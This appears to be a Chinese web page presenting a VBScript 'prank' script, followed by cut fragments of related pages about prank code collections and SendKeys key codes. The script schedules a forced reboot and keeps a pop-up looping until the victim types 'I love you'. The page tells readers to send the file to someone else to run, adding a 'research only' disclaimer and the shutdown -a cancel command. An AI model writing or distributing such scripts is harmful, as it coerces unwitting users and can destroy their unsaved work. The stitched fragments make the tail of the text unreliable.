set ierunner=createobject("wscript.shell") 
ierunner.run "cmd /c start http://www.baidu.com/",0 
wscript.sleep 2000 
ierunner.sendkeys "%{F4}" 
on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 8 -c ""快说你爱我···"" ",0 ,true 
dim a 
do while(a <> "我爱你") 
a = inputbox ("说你爱我,就不关机，快点，说 ""我爱你"" ","说不说","不说",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾" 

把分隔线里面的内容保存为任意.vbs的文件名 发送给对方运行就OK
解除方法 开始 运行 shutdown -a 回车 怕女的不太懂什么解除 特别说明Crack8_编程小组[K.8] 各种群共享都有这分源码 仅供研究 请勿非法用途

vbs整人代码大集合 多年的代码收集
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即

vbs sendKeys Virtual-Key Codes 十六进制符号
ConstantsVK_LBUTTON(0x01)LeftmousebuttonVK_RBUTTON(0x02)RightmousebuttonVK_CANCEL(0x03)Control-breakprocessingVK_MBUTTON(0x04)Middlemousebutton(three-buttonmouse)VK_XBUTTON1(0x05)Windows2000/XP:X1mous

vbs sendKeys 16进制的结合使用(打开IE，静音，打开播放器等)
DimWshShellSetWshShell=CreateObject("Wscript.Shell")下面的每一行都是一个不错的命令，请说出运行下列每个语句的效果。不要一次运行全部，逐个看效果。'打开IE'